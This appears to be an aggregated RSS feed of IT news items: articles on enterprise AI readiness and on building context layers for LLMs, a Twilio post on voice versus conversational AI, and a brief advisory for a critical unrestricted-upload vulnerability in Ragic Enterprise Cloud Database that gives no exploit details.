<p>Forrester research shows that 45% of data and analytics decision-makers were adopting vector databases in 2025, and 53% were adopting graph databases — investments that signal recognition of how much data architecture needs to evolve. The firm recommends a balanced approach: roughly 48% of AI spending on foundations such as data management and engineering, and 52% on consumption, including analytics, governance, and applications.</p>



<p>But even as organizations work to prepare existing data, AI is creating new challenges. Users leveraging AI tools are generating new forms of data and information that never make it into corporate databases, West Monroe’s Hilborn notes.</p>



<p>“There are explosions of new data, content, and insights being created on the periphery of these data lakes,” he says. “The challenge is how do you capture that and leverage it.”</p>



<h2 class="wp-block-heading">Who’s sponsoring this?</h2>



<p>Even when data is in order, many AI initiatives stall due to how they’re sponsored and funded.</p>



<p>“Enterprise data, analytics, and AI programs succeed when business CxOs sponsor them because they are accountable for business outcomes, not just technology delivery,” Forrester’s Evelson says. “IT-led initiatives often become siloed or tool-centric, whereas business sponsorship ensures alignment to enterprise strategy, prioritization of end-to-end use cases, and a focus on decisions and actions rather than insights alone.”</p>



<p>Too often, AI is still treated as a series of disconnected use cases rather than a sustained, multi-year investment. Evelson calls this the “use case trap” — organizations overindex on individual projects and miss the enterprise-wide compounding impact. That leads to fragmented priorities, inconsistent adoption, and difficulty demonstrating ROI.</p>



<p>Leadership readiness is a distinct layer of AI preparedness, Talasaz says. “Are leaders prepared to provide a vision of reinvented business experiences that become the north star?” he asks. “Leadership teams, at various levels of the organization, need to articulate what a reinvented business looks like so teams have the direction and support to build differentiating capabilities.”</p>



<p>Levi’s offers a counterexample. AI is a CEO priority there. At the last quarterly offsite, the execs were building agents. “When you’re committed to upskilling the workforce, you’re better served to answer how to rewire processes with AI at the core,” Gowans says. “It starts at the top. It has to be an exec priority.”</p>



<h2 class="wp-block-heading">Fear, literacy, and two types of AI</h2>



<p>Technical talent is only part of the equation. Organizations also need to <a href="https://www.cio.com/article/4016354/cios-tackle-the-ai-change-management-challenge.html">address change management</a>.</p>



<p>“We saw it with the AI boom — fear about jobs, not knowing what AI did,” says Jabil’s Christensen. “The key is demystifying AI. We doubled down and focused on AI literacy. We want everyone to understand how it was put together, and that removed a lot of that fear. That’s been the biggest hurdle.”</p>



<p>Different types of AI require different skills and governance, Talasaz says. “General use focuses on productivity on the desktop,” he says. “Integrated AI — industrial-capable AI embedded within core business processes — requires different skills, capabilities, and governance.”</p>



<p>For desktop AI, training and guardrails help employees be successful — what Talasaz calls “bumpers,” like in bowling. Organizations need to <a href="https://www.cio.com/article/4117091/how-ai-upskilling-fails-and-what-it-leaders-are-doing-to-get-it-right.html">help employees through reskilling and guidance</a>. “You have tools in a toolbox,” he says. “It’s important to know when to use a power tool versus when you need a screwdriver.”</p>



<p>But for integrated AI embedded in core processes, the stakes are higher. “Business leaders responsible for business outcomes based on AI-driven processes need to be fully aware of both the benefits and risks that come along with using these tools,” Talasaz says.</p>



<p>That distinction matters for governance, too. Lower-, medium-, and high-risk AI use cases may require <a href="https://www.csoonline.com/article/4188573/rethinking-the-balance-between-ai-oversight-and-innovation.html">different ways of working and different risk management approaches</a>. “Deploying AI in potentially high-risk or high-cost areas of the business requires a higher level of rigor,” Talasaz says. “That’s different than building something that helps write my emails.”</p>



<h2 class="wp-block-heading">From POC to production</h2>



<p>Perhaps the biggest readiness gap is the transition <a href="https://www.cio.com/article/3850763/88-of-ai-pilots-fail-to-reach-production-but-thats-not-all-on-it.html">from proof of concept to production</a>. “It requires such a different approach,” Talasaz says. “A successful proof of concept can create a lot of excitement, but when teams are unprepared to build and scale, it can create the potential to over-promise and under-deliver.”</p>



<p>The operating model that works for experimentation doesn’t work for production at scale. Proofs of concept are designed to demonstrate the efficacy of ideas and the underlying technology. But building, scaling, and sustaining technology in the business requires operating models, standards, roles, and skills that many organizations haven’t developed. Intentionally designed operating models reduce the cost of learning, improve execution, and increase delivery velocity, says Talasaz.</p>



<p>But there’s no one-size-fits-all answer. “A business that needs to build capabilities in a marketplace moving very fast requires one kind of operating model,” Talasaz says. “A business that can take longer to develop business capabilities and adapt to market changes can choose a different operating model. It’s important to design ways of working tailored to what the business needs and the speed at which the business needs to leverage technology to be successful.”</p>



<p>Jabil is navigating this journey as part of its move to SAP’s cloud ERP through RISE, scaling from $29 billion to $34 billion in revenue while keeping selling, general, and administrative (SG&amp;A) expenses relatively flat — in part by layering generative AI onto predictive analytics capabilities built over years.</p>



<p>“We started years ago with computer vision to drive product quality,” Christensen says. “As gen AI blew up, we took the predictive analytics we had <a href="https://www.cio.com/article/193580/upskilling-transforms-jabil-employees-into-data-scientists.html">built over the years</a> and imbued them with gen AI. We’ve implemented the basics, and now we’re looking for complex scenarios.”</p>



<h2 class="wp-block-heading">Governance built in, not bolted on</h2>



<p>Governance is often treated as a policy document or committee. It should be embedded in the operating model itself, Talasaz argues.</p>



<p>“The operating model doesn’t always get the attention it needs,” he says. “Policies and committees are useful, but they should handle larger enterprise risks. Most of the governance should be embedded in the operating model to ensure you’re getting outcomes you want.”</p>



<p>That might mean peer review built into the development process, bias checks before deployment, or clear escalation paths for high-risk use cases. When governance is separate from the operating model, it tends to slow things down. When it’s integrated, it becomes how work naturally gets done, says Talasaz.</p>



<p>Governance at the agent level matters, too, Levi’s Gowans says. “Know what agents have been deployed, who authored them, and who’s responsible,” he says, noting that the company has established a registry to understand what agents it has operating within its networks.</p>



<p>The challenges of AI governance are unique, Lopez of Lopez Research says. “Very few people have the governance stack required to say they did the right things with AI,” she says. “<a href="https://www.csoonline.com/article/2132294/what-are-non-human-identities-and-why-do-they-matter.html">Non-human identity</a> and access control is totally different and, frankly, evolving so quickly that no one knows what to do.”</p>



<p>The challenge is ultimately a trade-off, Forrester’s Evelson says. “Push agentic AI capabilities too far, and you risk creating a governance and compliance nightmare,” he says. “Tighten controls too aggressively, and you stifle innovation. Best practices for <a href="https://www.cio.com/article/4188566/cios-rethink-the-balance-between-ai-oversight-and-innovation.html">striking the right balance</a> are still being discovered.”</p>



<h2 class="wp-block-heading">It takes a team</h2>



<p>The AI readiness gap isn’t about technology — it’s about the work organizations have been deferring for years. Data quality. Operating models. Executive sponsorship. Skills and culture. Governance embedded in process.</p>



<p>“Once you progress from everyone using Copilot to putting agents in production, then you realize the need for business context,” Gowans of Levi Strauss says.</p>



<p>It’s a shared journey requiring all teams to understand what’s required, Talasaz says. “It involves helping people understand what it takes from all sides — the technology itself, the operating model, the skills and talents needed — but also working with business leaders on the art of the possible,” he says. “Helping them understand both the benefits and the responsibility of deploying this tech.”</p>



<p>A colleague of his calls AI “the ultimate executive team sport.”</p>



<p>“It requires people to do it well and manage it,” Talasaz says.</p>



<p></p>
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<title><![CDATA[Why AI needs contextual intelligence — not just bigger models]]></title>
<description><![CDATA[A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.



One team had a wildly disproportionate share of ti...]]></description>
<link>https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664720/it-security-nachrichten/why-ai-needs-contextual-intelligence-not-just-bigger-models/</guid>
<pubDate>Mon, 13 Jul 2026 11:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<p>A product manager on my team recently asked me where we were seeing the most issues across the engineering team. Instead of guessing, I had an engineering lead point Claude at our Jira via an MCP connector and look at the bug patterns himself.</p>



<p>One team had a wildly disproportionate share of tickets — about 50% of their sprint time was spent on “bugs,” versus roughly 25% for everyone else. The headline number suggested a quality problem.</p>



<p>It wasn’t. When we layered in the context around those tickets, almost none of them were bugs. They were manual workarounds for a missing product capability: customers asking us, one request at a time, to restore items they had accidentally deleted. Not shipping an item restore feature was burning roughly 1.5 engineers’ worth of capacity. I went back to our product team and said, “Build this, and you reclaim a person and a half.”</p>



<p>The analysis took 45 minutes. It was only possible because our data was already organized, tagged by team, connected to contributors, accessible through MCP and protected by role-based access. None of that is “AI.” All of it is the layer underneath AI that almost nobody invests in first. That’s probably because the investment is unglamorous: updating data dictionaries, access controls, team taxonomies, system-to-system mappings. Most of the work has been the same for twenty years. AI just raised the cost of skipping it.<br></p>



<h2 class="wp-block-heading">The intelligence underneath the models</h2>



<p>I keep coming back to the value of context data layers as a CTO in the middle of an AI rollout. I have started calling that value proposition contextual intelligence because I haven’t found a better name. Anthropic’s engineering team has been calling this kind of work “<a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow">context engineering</a>” since late 2025, and <em>CIO</em><a href="https://www.cio.com/article/4080592/context-engineering-improving-ai-by-moving-beyond-the-prompt.html"> ran its own feature on the term</a> shortly after. Whether you describe it as contextual intelligence or context engineering, it’s the part of the stack where the actual programming work still lives.</p>



<p>If business logic is your company’s official org chart, then contextual intelligence is knowing who actually gets things done, how decisions are actually made and what the unwritten rules are. One is theory. The other is reality.</p>



<p>Most enterprise systems capture the theory. The systems that capture how work actually happens — what people do, how teams operate, where decisions get stuck — are rarer and harder to build. And modern LLMs, it turns out, are useless without both.</p>



<p>I learned this the hard way at a recent company hackathon. Nine engineering teams, one prompt: make our operational dataset more usable through AI. My team built persona-based chatbots (CFO, CIO, sales manager) on top of an MCP server backed by Postgres and our enrichment data. Other teams built dashboard generators, Looker conversational analytics and workflow agents.</p>



<p>The initial demos all had the same problem. Claude could talk to our data, but the answers were either generic or confidently wrong. The CFO persona would happily report a “spend trend” that quietly conflated two distinct cost categories across two different tables. The CIO persona would answer questions about team productivity, but the averages across roles should never have been aggregated. The sales manager persona returned answers that were technically correct against the schema and completely wrong against the business. The raw data was rich. The context layer around it didn’t exist yet. Chatting with raw data is not an AI product. It’s a demo.</p>



<p>One of my senior engineers spent the second day ripping out the agent’s direct database connection. He stopped trying to prompt-engineer the LLM to understand our business and instead codified that logic into the data pipeline. Working backward from the failed CFO answers, he mapped out the implicit knowledge an experienced controller relies on: Explicitly defining which legacy tables actually represent ‘spend,’ writing the rules for currency normalization and hardcoding our fiscal time windows. He built a series of semantic SQL views to enforce these rules and restricted the MCP server to exposing only this curated layer. When we pointed the same model at those same questions, it returned completely different answers. They were specific, evidence-based and grounded in our actual business reality. The model didn’t get smarter. The engineering beneath it did.</p>



<h2 class="wp-block-heading">The same pattern shows up everywhere I look right now</h2>



<p><a href="https://www.mckinsey.com/capabilities/quantumblack/our-insights/one-year-of-agentic-ai-six-lessons-from-the-people-doing-the-work" rel="nofollow">McKinsey</a> keeps publishing that software development tops enterprise AI use cases, with companies reporting 30–50% productivity gains in pilots. The pilot numbers are real. They rarely translate to top- or bottom-line impact in production. Our own company data tells the same story: Between Q1 2025 and Q1 2026, our total AI tool usage grew by 328% (over 4x). Over that same period, PR throughput grew by just 49%.</p>



<p>That gap — adoption way up, outcomes inching along — is the context gap. Plug a generic agent into raw, uninterpreted data, and it will act inefficiently at best, harmfully at worst. An agent optimizing sales without your customer segmentation or product hierarchy will confidently recommend the wrong thing. Anthropic<a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow"> </a><a href="https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents" rel="nofollow">framed the shift directly</a>: building with language models is becoming “less about finding the right words and phrases for your prompts, and more about answering the broader question of what context configuration is most likely to generate our model’s desired behavior.” That second question — what context configuration  — is the entire game. Most organizations are still answering the first one.</p>



<h2 class="wp-block-heading">Where the work actually lives</h2>



<p>A growing number of CTOs I talk to are shifting their AI investments accordingly. Less attention on the model. More on the layer between the model and the data.</p>



<p>When peers ask me what that actually looks like day-to-day, I tell them I give every engineering role the same mandate: the LLM should never see raw, uncontextualized data.</p>



<p>In practice, that breaks down to three pieces of work, none of them glamorous.</p>



<p>The first is semantic middleware. We need code that transforms raw data into business-meaningful signals before it ever reaches the model. Our feature stores hold things like “employee code velocity on critical-path features,” not “X logged 50 Git commits.” The work of figuring out what “critical-path” means in our product, in our org, on this team is the work. It does not get cheaper because the model has gotten better.</p>



<p>The second is multi-agent design. Instead of one omniscient orchestrator, we run smaller agents scoped to specific domains, each with rules that catch the failure modes the main model is known for. We pair them with RAG that retrieves precomputed insights, with their rules attached, rather than raw documents. Validation checkpoints sit between steps and flag suggestions that violate known constraints, such as averaging productivity across completely different job functions. The guardrails are not there to be clever. They are there because we already watched the model make those exact mistakes.</p>



<p>The third is evaluation that takes business logic seriously. When I look at a model, general benchmark accuracy is the least interesting number. I want to know whether it respects our constraints and integrates cleanly with our existing architecture. That sometimes means fine-tuning our patterns, sometimes constitutional approaches to embed principles, sometimes hybrid systems where deterministic rules sit alongside the probabilistic ones. The throughline is the same: validate against reality, not against the benchmark.</p>



<h2 class="wp-block-heading">Why this matters now</h2>



<p>The reason this matters more now than it did six months ago is that adoption is moving faster than measurement, let alone integration. Model Evaluation &amp; Threat Research’s (<a href="https://metr.org/" rel="nofollow">METR</a>) developer productivity work tells the story in a way they didn’t intend. In early 2025, they<a href="https://arxiv.org/pdf/2507.09089" rel="nofollow"> ran a controlled study</a> and found AI tools slowed experienced open-source developers by 19%. When they tried to<a href="https://metr.org/blog/2026-02-24-uplift-update/" rel="nofollow"> repeat the study in late 2025</a>, the experiment broke. Thirty to fifty percent of developers refused to submit tasks under the no-AI condition. They wouldn’t accept working without their tools. METR is now redesigning the study because the original methodology no longer holds up against how developers actually work. That’s how fast adoption moved. But I’d be willing to bet the organizational scaffolding required to convert that adoption into outcomes — context layers, workflow redesign, retraining around new tools — moved nowhere near as fast.</p>



<h2 class="wp-block-heading">Get ahead with context </h2>



<p>The teams I’ve seen succeed with AI built the context layer first. The teams I’ve seen struggle eventually built in context anyway, just at higher cost and with more scar tissue. Raw data is the new currency. But raw data without a context layer is cash sitting in a vault. It cannot act on anything. The difference between insight and noise is a layer of code that understands what your data means.</p>



<p>That layer is the work. It is where the next decade of competitive advantage will sit. And in my experience, the organizations that build it first are the ones that will actually get the productivity gains the rest of the market keeps promising.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Voice AI vs conversational AI: What’s the difference?]]></title>
<description><![CDATA[Voice AI. Conversational AI. You’ve seen both terms everywhere—sometimes in the same sentence, sometimes used as if they mean the same thing.



They don’t. But they’re not opposites either.



One is a category of technology. The other is a specific way to deliver it.



Mix them up and you end ...]]></description>
<link>https://tsecurity.de/de/3664597/it-security-nachrichten/voice-ai-vs-conversational-ai-whats-the-difference/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664597/it-security-nachrichten/voice-ai-vs-conversational-ai-whats-the-difference/</guid>
<pubDate>Mon, 13 Jul 2026 10:09:17 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p>Voice AI. Conversational AI. You’ve seen both terms everywhere—sometimes in the same sentence, sometimes used as if they mean the same thing.</p>



<p>They don’t. But they’re not opposites either.</p>



<p>One is a category of technology. The other is a specific way to deliver it.</p>



<p>Mix them up and you end up making the wrong platform decisions, building the wrong workflows, and losing 45 minutes in a meeting that didn’t need to happen.</p>



<p>Here’s the difference between voice AI and conversational AI, minus the jargon.</p>



<h2 class="wp-block-heading">Conversational AI: The intelligence layer</h2>



<p><a href="https://www.twilio.com/en-us/blog/what-is-conversational-ai?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="noreferrer noopener">Conversational AI</a> is the broader category. It refers to any AI system designed to understand human language, reason about what was said, and respond in a way that feels natural and contextually relevant. That exchange can happen through text, voice, or any other medium.</p>



<p>What defines conversational AI is the intelligence underneath the interaction:</p>



<ul class="wp-block-list">
<li><a href="https://www.twilio.com/docs/glossary/what-is-natural-language-understanding?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">Natural language understanding</a> that interprets intent rather than matching keywords</li>



<li>Dialogue management that tracks what’s been said and what still needs to be resolved</li>



<li>Response generation that produces output appropriate to the context.</li>
</ul>



<p>Conversational AI shows up in a lot of forms. A chatbot on a support page is conversational AI. An AI assistant that helps a sales rep draft follow-up emails is conversational AI. A virtual agent that handles inbound customer inquiries is conversational AI.</p>



<p>The intelligence layer makes the interaction feel like a conversation rather than a database lookup.</p>



<p>The channel, the modality, the interface: those are separate from the intelligence. Which brings us to voice AI.</p>



<h2 class="wp-block-heading">Voice AI: The delivery method</h2>



<p><a href="https://www.twilio.com/en-us/blog/insights/what-is-voice-ai?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="noreferrer noopener">Voice AI</a> is conversational AI delivered through spoken language. It’s the application of conversational AI intelligence to voice-based interactions <strong>where the input is speech and the output is speech.</strong></p>



<p>A voice AI system:</p>



<ul class="wp-block-list">
<li>Takes spoken words</li>



<li>Converts them to text via <a href="https://www.twilio.com/en-us/speech-recognition?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">speech-to-text (STT)</a></li>



<li>Runs that text through a <a href="https://www.twilio.com/en-us/products/conversational-ai?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">conversational AI layer</a> to understand intent and generate a response</li>



<li>Converts that response back to spoken audio via <a href="https://www.twilio.com/en-us/blog/insights/ai/what-is-text-to-speech?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">text-to-speech (TTS)</a></li>
</ul>



<p>And it does it all fast enough that the conversation doesn’t feel like it’s buffering.</p>



<p>Voice AI isn’t a fundamentally different kind of intelligence from conversational AI. It’s conversational AI with a voice interface wrapped around it. The reasoning, the context tracking, the dialogue management—those are the same capabilities.</p>



<p>What voice AI adds is the ability to operate through spoken language in real time, with all the additional complexity that introduces: handling interruptions, managing turn-taking, producing natural-sounding speech, and doing all of it with sub-500ms latency.</p>



<p>Ultimately, conversational AI is how the system thinks. Voice AI is how it talks.</p>



<h2 class="wp-block-heading">How they relate</h2>



<p>Voice AI depends on conversational AI to be useful. Without the intelligence layer (intent recognition, context tracking, and coherent response generation), a voice system is just a phone menu with better audio.</p>



<p>The voice interface makes the interaction accessible through speech. The conversational AI makes the interaction worth having.</p>



<p>The relationship goes one way, though.</p>



<p>Every voice AI system uses conversational AI underneath it. But conversational AI doesn’t require voice. A text-based chatbot, messaging bot, or AI assistant embedded in a ticketing system are conversational AI without any voice component.</p>



<p>It’s not really a question of whether you need conversational AI or voice AI. It’s better to ask: does your use case require voice?</p>



<ul class="wp-block-list">
<li>If yes, you need voice AI—which means you also need conversational AI as the foundation.</li>



<li>If the interaction is text-based, you need conversational AI without the voice layer.</li>
</ul>



<h2 class="wp-block-heading"><a></a>Voice AI vs. conversational AI: Key differences</h2>



<p>Side by side, the differences get a lot clearer. Here’s the breakdown across the criteria that matter most for teams building or buying AI for customer service.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image_b3a549.png" alt="" class="wp-image-4194915" width="630" height="556" sizes="auto, (max-width: 630px) 100vw, 630px"></figure></div>



<h2 class="wp-block-heading">When to use conversational AI without voice</h2>



<p>Text-based conversational AI makes sense when your customers primarily engage through chat, messaging, or digital channels. And when the nature of the interaction doesn’t require the immediacy of a phone call.</p>



<ul class="wp-block-list">
<li>Support chat on a website</li>



<li>WhatsApp automation</li>



<li>AI-assisted email triage</li>



<li>Messaging bots for transactional notifications</li>
</ul>



<p>These are all conversational AI use cases where voice doesn’t add much and may introduce unnecessary friction. Not every customer wants to speak out loud, especially in public, at work, or when the question is simple enough to type in thirty seconds.</p>



<p>Text-based conversational AI is also typically faster to deploy, easier to test, and simpler to update. You can iterate on response quality, test new flows, and review transcripts without dealing with audio quality, latency optimisation, or the additional infrastructure that voice requires.</p>



<p>If your primary support and engagement channels are digital and your customers are comfortable typing, starting with text-based conversational AI often makes more sense than jumping straight to voice.</p>



<h2 class="wp-block-heading"><a></a>When you need voice AI specifically</h2>



<p>Voice AI makes sense when the use case is inherently telephonic, time-sensitive, or requires the kind of nuance that text alone doesn’t capture.</p>



<ul class="wp-block-list">
<li><strong>Inbound phone support: </strong>Customers call because they want to talk to someone, or because they’ve always called, or because the issue feels urgent enough that they don’t want to wait for a chat response. An AI that can answer that call, understand the issue, and resolve it in the same interaction replaces one of the most expensive and frustrating moments in customer service.</li>



<li><strong>Outbound calling:</strong> Appointment reminders, fraud alerts, lead follow-up, proactive outreach for at-risk customers. These interactions are harder to execute over text because they require real-time dialogue.</li>



<li><strong>Context:</strong> Tone, urgency, frustration, hesitation—these are signals that a voice AI system can detect and respond to. A customer who speaks with audible frustration is communicating something beyond the literal words, and a well-designed voice AI system can adjust its approach accordingly.</li>
</ul>



<p>Finally, voice AI matters when your customers are less likely to engage through digital channels. These might be older demographics, industries where phone is still the primary contact method, or use cases where hands-free interaction is a practical requirement.</p>



<h2 class="wp-block-heading">Do you need both?</h2>



<p>For most businesses building serious customer engagement infrastructure: yes.</p>



<p>The customers who prefer chat aren’t going away. Neither are the customers who pick up the phone. A complete AI engagement strategy handles both with a single connected experience rather than two separate systems that don’t know about each other.</p>



<p>And that’s where <a href="https://www.twilio.com/en-us/products/conversational-ai?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="noreferrer noopener">Twilio Conversations</a> can help.</p>



<ul class="wp-block-list">
<li><a href="https://www.twilio.com/en-us/products/conversational-ai/conversation-orchestrator?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">Conversation Orchestrator</a> connects voice, SMS, WhatsApp, and chat into one continuous conversation record.</li>



<li><a href="https://www.twilio.com/en-us/products/conversational-ai/conversation-memory?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">Conversation Memory</a> gives every agent (AI or human) persistent customer context across channels.</li>



<li><a href="https://www.twilio.com/en-us/products/conversational-ai/conversationrelay?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">Conversation Relay</a> handles the voice AI layer: low-latency STT and TTS, bring-your-own-LLM, HIPAA-eligible.</li>



<li><a href="https://www.twilio.com/en-us/products/conversational-ai#:~:text=and%20barge-in.-,Agent%20Connect,-Connect%20your%20own?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">Agent Connect</a> lets you plug your own AI agents into Twilio channels without rebuilding your communications infrastructure.</li>
</ul>



<p>Your customers are going to use both voice and text. The question is whether your stack connects them.</p>



<p><a href="https://www.twilio.com/try-twilio?ext-anonymousId=1d804104-edbe-49b6-aed2-edb162421f5b&amp;ext-gaClientId=589905313.1777306679&amp;ext-gaSessionId=1778509973&amp;utm_referrer=https%3A%2F%2Fwww.twilio.com%2Fen-us%2Fproducts%2Fconversational-ai&amp;utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">Start for free</a> or <a href="https://www.twilio.com/en-us/help/sales?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_voiceai-vs-cai_brandposthub" target="_blank" rel="sponsored">contact sales</a> to talk through your use case.</p>



<h2 class="wp-block-heading">Frequently asked questions</h2>



<h3 class="wp-block-heading"><strong>What’s the difference between voice AI and conversational AI?</strong></h3>



<p>Conversational AI is the intelligence layer that understands human language and generates contextually relevant responses, regardless of channel. Voice AI is conversational AI delivered through spoken language. It adds speech-to-text and text-to-speech components so the interaction happens via voice.</p>



<h3 class="wp-block-heading"><strong>Is voice AI a type of conversational AI?</strong></h3>



<p>Yes. Voice AI is a specific application of conversational AI that operates through spoken language. The reasoning, intent recognition, and dialogue management capabilities come from conversational AI. Voice AI adds the speech interface on top to convert spoken input to text, process it through the conversational AI layer, and convert the response back to speech.</p>



<h3 class="wp-block-heading"><strong>Can conversational AI work without voice?</strong></h3>



<p>Yes. Text-based chatbots, messaging bots, AI assistants in ticketing systems, and email AI are all forms of conversational AI that don’t use voice.</p>



<h3 class="wp-block-heading"><strong>Does Twilio support both voice AI and conversational AI?</strong></h3>



<p>Yes. Twilio Conversation Relay handles voice AI, combining low-latency STT and TTS with bring-your-own-LLM flexibility. The broader Twilio Conversations platform connects voice, SMS, WhatsApp, and chat into a single conversation layer, so the conversational AI intelligence and customer context are shared across every channel.</p>



<p>To learn more about Twilio conversations, visit <a href="https://www.twilio.com/en-us/why-twilio?utm_source=foundry&amp;utm_medium=contentsyn&amp;utm_campaign=abm_brand_icp_sa_aw_tofu_apac_en&amp;utm_content=abm_lo_cs_ungatedcontent_end-cta-voiceai-vs-cai_brandposthub" target="_blank" rel="noreferrer noopener">here</a>.</p>



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<title><![CDATA[CVE-2026-15553 | Ragic Enterprise Cloud Database unrestricted upload (EUVD-2026-43272)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Ragic Enterprise Cloud Database. Impacted is an unknown function. This manipulation causes unrestricted upload.

The identification of this vulnerability is CVE-2026-15553. It is possible to initiate the attack remotely. There is no exploit ...]]></description>
<link>https://tsecurity.de/de/3664340/sicherheitsluecken/cve-2026-15553-ragic-enterprise-cloud-database-unrestricted-upload-euvd-2026-43272/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3664340/sicherheitsluecken/cve-2026-15553-ragic-enterprise-cloud-database-unrestricted-upload-euvd-2026-43272/</guid>
<pubDate>Mon, 13 Jul 2026 07:53:44 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/ragic:enterprise_cloud_database">Ragic Enterprise Cloud Database</a>. Impacted is an unknown function. This manipulation causes unrestricted upload.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-15553">CVE-2026-15553</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
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